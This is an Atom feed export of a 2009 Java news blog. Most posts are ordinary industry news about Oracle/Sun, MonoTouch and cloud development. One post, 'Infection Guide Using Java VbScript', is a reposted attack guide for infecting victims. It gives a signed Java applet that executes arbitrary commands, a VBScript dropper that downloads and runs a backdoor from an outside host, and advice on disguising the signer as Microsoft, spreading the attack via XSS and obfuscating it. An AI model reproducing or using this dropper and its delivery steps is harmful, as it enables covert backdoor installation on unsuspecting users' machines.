<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3491484289991340511</id><updated>2011-11-27T15:25:11.510-08:00</updated><category term='Java Tutorials'/><category term='Java programming tools'/><category term='Java news'/><category term='Javascript History'/><title type='text'>JAVA Center</title><subtitle type='html'>JAVA center is your perfect instructor to learn and success with java programming , you will find here how java center helps you by it's simple articles and powerful scripts, join us and be the best.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default?start-index=101&amp;max-results=100'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>201</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-9219828933496914187</id><published>2009-09-18T14:11:00.000-07:00</published><updated>2009-09-18T14:19:53.008-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Oracle Unveils Database Machine Made With Sun Micro (ORCL,JAVA,HP)</title><content type='html'>Oracle (NASDAQ:ORCL) unveiled a new version of its database machine that used its own software and hardware from Sun Microsystems (NASDAQ:JAVA) on Tuesday, according to an AP report. Previous versions of the Exadata machine were made in collaboration with Hewlett-Packard (NYSE:HPQ), but Oracle confirmed that it is no longer making machines with that company. Oracle's $7.4 billion acquisition of Sun is currently being held up by an EU investigation of the deal's implications.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-9219828933496914187?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/9219828933496914187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=9219828933496914187' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/9219828933496914187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/9219828933496914187'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/oracle-unveils-database-machine-made_18.html' title='Oracle Unveils Database Machine Made With Sun Micro (ORCL,JAVA,HP)'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5305135603908629496</id><published>2009-09-17T14:05:00.001-07:00</published><updated>2009-09-17T14:05:50.611-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Novell Brings .NET Development to the iPhone</title><content type='html'>&lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Novell has announced the commercial release of MonoTouch 1.0, a &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;solution&lt;/span&gt; for developing applications for the iPhone and iPod Touch using the Microsoft .&lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;NET framework&lt;/span&gt;, including C# and other .NET &lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;programming languages&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Novell has announced the commercial release of MonoTouch 1.0, a &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;solution&lt;/span&gt; for developing applications for the iPhone and iPod Touch using the Microsoft .&lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;NET framework&lt;/span&gt;, including C# and other .NET &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;programming languages&lt;/span&gt;. &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Novell officials touted the new &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;technology&lt;/span&gt; as a liberating concept for iPhone application &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt;, because &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; have primarily built &lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;iPhone applications&lt;/span&gt;&lt;span&gt; using C and Objective-C, putting iPhone development beyond the reach of most .NET &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;developers&lt;/span&gt;. With MonoTouch, the creativity of millions of .NET &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; worldwide can be unleashed to build a vast array of &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;iPhone applications&lt;/span&gt;, Novell said.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;In an interview with eWEEK, Miguel de Icaza, vice president of developer platform at Novell and founder of the Mono open-source project, said, “We want to do what Eclipse did for the Java community, but for the .NET community.”&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;MonoTouch was developed by the Mono Project team and it simplifies iPhone development by allowing &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; to utilize code and libraries written for the .NET development framework and &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;programming languages&lt;/span&gt;&lt;span&gt; such as C#, IronRuby and IronPython. Individual .NET &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; and independent software vendors (ISVs) can now sell their products into a massive new market, while corporate &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt;&lt;span&gt; and IT organizations can deploy their applications in a new mobile &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;computing environment&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;The iPhone developer program license restricts &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; from distributing scripting engines or Just-In-Time (JIT) compilers, which are required by managed runtimes such as .NET for code execution. As a result, the world of &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;iPhone applications&lt;/span&gt;&lt;span&gt; had been previously closed to .NET and Mono &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt;. &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;Developers&lt;/span&gt; can now use MonoTouch while fully complying with these license terms because MonoTouch delivers only native code.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;“Developing our mobile forms &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;solution&lt;/span&gt; on multiple platforms before MonoTouch from Novell was time-consuming due to the diverse &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;technology&lt;/span&gt;&lt;span&gt; platforms,” said Simon Guindon, mobile &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;solution&lt;/span&gt; developer at TrueContext. “With MonoTouch, we can now optimize development for the future and enrich the Pronto Forms product offering at a faster pace.” &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Indeed, de Icaza said when the Mono team “took a bunch of Apple [Objective-C-based] samples and rewrote them in C#, they were one-half to one-third the size they were before — meaning you use less code&lt;/p&gt; &lt;p&gt;&lt;span&gt;The popularity of the iPhone and iPod Touch has created a huge market for &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;iPhone applications&lt;/span&gt;. According to Scott Ellison, vice president of Mobile and Wireless at IDC, in its first year the Apple Apps Store had more than 50,000 available applications, and well over 1 billion downloads with an average of more than 140 new applications launched every day.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;“The iPhone has experienced tremendous adoption in both consumer and business markets,” said Al Hilda, program director, &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;Application Development Software&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt; at IDC, in a statement. “Given that applications are a key reason for the iPhone’s success, a &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;solution&lt;/span&gt; that allows .NET &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; to use existing skills to build &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;iPhone applications&lt;/span&gt; is an exciting and consequential milestone in the evolution of mobile platforms.”&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;The Mono team initially started working on the MonoTouch &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;technology&lt;/span&gt; in 2008 when the team began working Unity Technologies, a game maker that was working on building Mono-based games for the iPhone, de Icaza said.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;In a blog post, Tom Higgins, a product evangelist for Unity, said, “Unity has helped bring the Mono framework on to both the iPhone and the Wii console.”&lt;/p&gt; &lt;p&gt;&lt;span&gt;MonoTouch from Novell is a software development kit that contains a suite of compilers, libraries and tools for integrating with Apple’s iPhone SDK. Microsoft .NET base class libraries are included, along with managed libraries for taking advantage of native iPhone APIs, Novell said. Also included is a cross-compiler that can be used for turning .NET executable files and libraries directly into native applications for distribution on the Apple Apps Store or for deployment to enterprise iPhone users. In addition, Xcode integration enables application &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; to test on the device or in Apple’s iPhone Simulator and ship applications to the Apple Apps Store for distribution.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;In a blog post, de Icaza said MonoTouch consists of:&lt;/p&gt; &lt;p&gt; · MonoTouch.dll — The C# binding to the iPhone native APIs (the foundation classes, Quartz, CoreAnimation, CoreLocation, MapKit, Addressbook, AudioToolbox, AVFoundation, StoreKit and OpenGL/OpenAL).&lt;/p&gt; &lt;p&gt; · Command Line SDK to compile C# code and other CIL language code to run on the iPhone simulator or an iPhone/iPod Touch device.&lt;/p&gt; &lt;p&gt;    ·         Commercial license of Mono’s runtime (to allow static linking of Mono’s runtime engine with your code).&lt;/p&gt; &lt;p&gt; · MonoDevelop Add-in that streamlines the iPhone development and integrates with Interface Builder to create GUI applications. &lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;“The vast majority of Windows-centric &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt;, ISVs [independent software vendors] and IT organizations have chosen the C# language and .NET for development,” de Icaza said. “As such we have seen tremendous demand for tools to build .NET-based &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;iPhone applications&lt;/span&gt;&lt;span&gt;. We developed MonoTouch in response to this demand, giving both individual &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt;&lt;span&gt; and businesses a &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;solution&lt;/span&gt; that breaks down the barriers to iPhone application development.” &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;Moreover, de Icaza said MonoTouch “is probably the most sought after piece of &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;technology&lt;/span&gt; in the history of the [Mono] project. Since October we have been bombarded with requests for it.”&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;Yet, although Mono is an open source project, MonoTouch is a commercial venture from Novell. MonoTouch Personal and &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;Enterprise Editions&lt;/span&gt; are available now through http://shop.novell.com. For individuals only building applications for the Apple Apps Store, MonoTouch Personal Edition is available for $399 per developer for a one-year subscription. MonoTouch Enterprise Edition is available for $999 per developer for a one-year subscription, which includes maintenance and updates. A five-developer Enterprise license supports five concurrent &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;developers&lt;/span&gt; and is available for $3,999 per year. &lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5305135603908629496?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5305135603908629496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5305135603908629496' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5305135603908629496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5305135603908629496'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/novell-brings-net-development-to-iphone.html' title='Novell Brings .NET Development to the iPhone'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-539973012095307714</id><published>2009-09-17T14:04:00.001-07:00</published><updated>2009-09-17T14:05:03.286-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Infection Guide Using Java VbScript</title><content type='html'>&lt;span class="central"&gt;&lt;b&gt;Présentation : &lt;/b&gt; IGUJV - Infection Guide Using Java VbScript Hi. This is a minimalistic guide on how to infect anyone . This is not a 0day. It's a pwning method wich is one click away from the victim. It is pretty simple and the best of all it takes no time at all. And it is undetectable too if you do it right Author AnalyseR eMaiL alienyser gmail.com Greetz to DarkPaiN, Marianaki_Ki, Franko, Aragorn, __Potter__, Santa_Cruz After a few attempts to think a way to infect specific or any computer systems, i found that Java could be THE solution. I am not a Java Programmer Developer or whatever but this piece of code is pretty easy to be read by anyone who had a little programming expirience. The question how to infect someone is the hardest one, when you are coding your new backdoor trojan or whatever malware. I mean... ok, you have your new backdoor compiled. You've tested it and it works great. But how the hell can you spread it There are several methods, but nothing is invisible from the user's eye. And that's because all the well known methods are... WELL KNOWN Ok, let me go with the subject and show you how it's done. I've developed the 80pourcents of this attack at least and i say 80 because the backdoor server i use isn't made by me, and the vbscript is from a googled page. Anyway, the Java code has been written by me and the idea is also my product . So be gentle with this PpPPp. I won't explain the meaning of what does every single line of code here, because i don't want to and because you must understand by your self how it works. Any other explanation on the codes, will be useless if you can't read the source code by your self. I speak English by my self for example Pp noone teached me how it's done. It just happens. Little crappy but i hope you understand anywayz What you need to play with this method 1 The official Java compiler and the rest of Java developer tools 2 Basic HTML Java VBScripting knowledge 3 Java Runtimes 4 Web Browser 5 Hosting for the tests 6 A backdoor uploaded to your host 7 Mind 8 Coffee The process 1 Create a java file with the following code inside and name it whatever you want i faced problems with the THIRD parameter, cut it to the second one or just use it as it is. Works fine for me... . START COPY HERE import java.applet. import java.awt. import java.io. public class skata extends Applet public void init Process f String first getParameter first try f Runtime.getRuntime .exec first catch IOException e e.printStackTrace Process s String second getParameter second try s Runtime.getRuntime .exec second catch IOException e e.printStackTrace Process t String third getParameter third try t Runtime.getRuntime .exec third catch IOException e e.printStackTrace END COPY HERE 2 Compile your java applet with the java developer tools and sign it too. A good name could be Microsoft Corporation or something. 3 Upload your signed compiled applet to your host and your backdoor too. 4 Open notepad and paste the following html code. change the YOUR-JAVA-APPLET-NAME with your own java filename START COPY HERE END COPY HERE 5 Upload it as .htm to your host and browse it You will see the Java Security warning. Click RUN.... BooM Calculator and cmd spawned 6 Have in mind that THIS warning comes out in EVERY java applet you are running. EITHER A JAVA GAME or a JAVA IRC CLIENT. 7 Change the .htm code in to something like the following Take a look, it's a vbscript echoed from cmd.exe - this will download our backdoor . START COPY HERE C windows apsou.vbs echo Const adSaveCreateOverWrite 2 C windows apsou.vbs echo Dim BinaryStream C windows apsou.vbs echo Set BinaryStream CreateObject ADODB.Stream C windows apsou.vbs echo BinaryStream.Type adTypeBinary C windows apsou.vbs echo BinaryStream.Open C windows apsou.vbs echo BinaryStream.Write BinaryGetURL Wscript.Arguments 0 C windows apsou.vbs echo BinaryStream.SaveToFile Wscript.Arguments 1 , adSaveCreateOverWrite C windows apsou.vbs echo Function BinaryGetURL URL C windows apsou.vbs echo Dim Http C windows apsou.vbs echo Set Http CreateObject WinHttp.WinHttpRequest.5.1 C windows apsou.vbs echo Http.Open GET , URL, False C windows apsou.vbs echo Http.Send C windows apsou.vbs echo BinaryGetURL Http.ResponseBody C windows apsou.vbs echo End Function C windows apsou.vbs echo Set shell CreateObject WScript.Shell C windows apsou.vbs echo shell.Run C windows update.exe C windows apsou.vbs start C windows apsou.vbs http hello.world.com backdoor.exe C windows update.exe' END COPY HERE 8 Note that i use C Windows. If you want to infect win2k or vista you might want to change it to pourcentswindirpourcents or whatever you want. 9 To see the vbscript code clearly, infect your self and open C windows apsou.vbs you don't need to do it at all . 10 Change the backdoor URL on the above html code http hello.world.com backdoor.exe and the location you want to download it. 11 Fill the page with flash games, pictures, texts. This will keep the victim's mind away 12 Save your new .htm and upload.... 13 Now browse it and wait. Wait.. wait.. BOOM Backdoored. 14 You trust an irc client You can be pwned. Without to mention anything. Just by clicking run. 15 If you want some roots, you can change the above script to attack linux users only. Or you can make 2 different versions 16 Use it with XSS to infect a lot of people. 17 Use ltscript src to include the script, don't let the people see what's inside your page. Remember to change the permissions to.18 Use multiple unescape functions for your code. This will keep away any suspicious users for a while. CONCLUSION It's big mistake to think that you are safe with your new antivirus or your brand new million dollar anti-whatever system. This is not any kind of exploitation. It's just social engineering-like attack. I see 10 of these warnings every day on the net. Either i want to play a game and kill my time or whatever i want to do with a java applet. It's nothing strange or special than that. But hello, there is a hole on this. You can execute LOCAL, anything you want Tested and working under Windows XP SP2-SP3, Full Updated, Java Runtimes 5-something... Proof of concept http analyser.overflow.gr basta analyser.htm Enjoy milw0rmers.. milw0rm.com 2008-12-12 &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-539973012095307714?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/539973012095307714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=539973012095307714' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/539973012095307714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/539973012095307714'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/infection-guide-using-java-vbscript.html' title='Infection Guide Using Java VbScript'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-4499231703126409273</id><published>2009-09-17T14:03:00.001-07:00</published><updated>2009-09-17T14:04:00.104-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>8 roadblocks software developers face</title><content type='html'>&lt;p&gt;&lt;span&gt;&lt;span&gt;Over recent years, major &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;software developers&lt;/span&gt; have started offering their applications in &lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;the cloud&lt;/span&gt;. In &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the cloud&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt; model, instead of selling their software, they’re simply charging &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;customers&lt;/span&gt; based on usage, turning themselves, to some degree, into utilities. &lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;The promise&lt;/span&gt;&lt;span&gt;&lt;span&gt; to &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;customers&lt;/span&gt; is easy scalability and low &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;infrastructure&lt;/span&gt; cost. &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;The promise&lt;/span&gt; to the &lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;software companies&lt;/span&gt; is both a chance to upgrade their offering at any time and to make those upgrades immediately available.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;This pay-as-you-go model also allows enterprise developers to reduce their capital expenditure (CAPEX) on building &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;data centers&lt;/span&gt; without reducing their ability to innovate and come out with new offerings. And in the current troubled market condition, it allows organizations to pay for actual usage rather than build to handle the worst-case usage scenarios as most &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;data centers&lt;/span&gt;&lt;span&gt; are today. For the developer, potential cloud &lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;platforms&lt;/span&gt; include Salesforce, Amazon, Microsoft’s Windows Azure, Google’s App Engine, IBM’s DB2 on Demand, and VMware. Smaller companies are emerging to simply the management process and provide easy scale &lt;/span&gt;&lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;up and down&lt;/span&gt; based on market needs: RightScale, FastScale, and CA’s Spectrum &lt;/span&gt;&lt;span style="text-decoration: underline; color: rgb(39, 86, 122); font-size: 14px; font-weight: 400; font-style: normal; font-family: 'Lucida Grande',Sans-Serif;" class="IL_LINK_STYLE"&gt;Infrastructure&lt;/span&gt; Manager.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;&lt;span&gt;But we haven’t yet seen similar investment in the applications frameworks and development tools. If we expect to see the current cloud &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;infrastructure&lt;/span&gt; filled with applications and being used to the max, we need to see developers building new apps for &lt;/span&gt;&lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the cloud&lt;/span&gt; and porting over existing apps. So why are developers stalling?&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;Here’s an overview of some key difficulties they face when moving to &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the cloud&lt;/span&gt;:&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;1. If you’re an application provider, your &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;customers&lt;/span&gt;&lt;span&gt; expect to be able to run your applications on many different &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;platforms&lt;/span&gt;, whether on a departmental server, an array of blade servers in the data center, hosted with external on-demand data center provider, or on one of the market’s cloud offerings. Unfortunately, clients assume any application they buy into should be able to support those multiple target run-time environments, but the reality is that those different &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;platforms&lt;/span&gt; have different characteristics. You can’t simply write once and deploy anywhere. For example, if you want to move your app from a Microsoft-based server to the Google App Engine, you’ll probably will end up with a complete rewrite of your application.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;2. The next issue is how the new cloud paradigm, tools, and application programming interface (API) blend with a software developer’s internal technologies and skills. Starting with application modeling and prototyping tasks, all the way to the deployment and maintenance phases, it’s critical that whatever platform a development company works with internally can also support the development, deployment and management of &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the cloud&lt;/span&gt; application. If not, developers may be forced to turn to ad-hoc alternatives that could end-up requiring additional expensive investments.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;3. We cannot omit the skills issue. Assuming enterprise developers today are heavily invested in .Net or Java, do we expect them to learn new development language and frameworks, like the current proposal from Google App Engine that expect developers to write with Python (some support for Java as well these days, with promises to expand support for Java and other languages) or to learn new frameworks like Ruby on Rails? Or should they continue to develop using existing skills in .Net/Java &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;platforms&lt;/span&gt;?&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;4. Another looming question is, how do you leverage investments in existing interfaces, user experience, data structure, and application logic when moving an app to a new platform? Is it possible at all, or does the existing application have to be completely rewritten? Alternatively, does a developer give up on the efficiency that’s being offered with &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the promise&lt;/span&gt; of cloud computing?&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;5. With optimization, can a software developer’s application framework take advantage of the run-time environment to run natively and connect natively to the different cloud services? Or do will the app just run as an isolated instance on a shared &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;infrastructure&lt;/span&gt; with an optimized billing mechanism?&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span&gt;6. What would be the operational costs of an application in &lt;span class="IL_SPAN"&gt;&lt;input name="IL_MARKER" type="hidden"&gt;the cloud&lt;/span&gt;? Does the development company have tools to asses those costs? 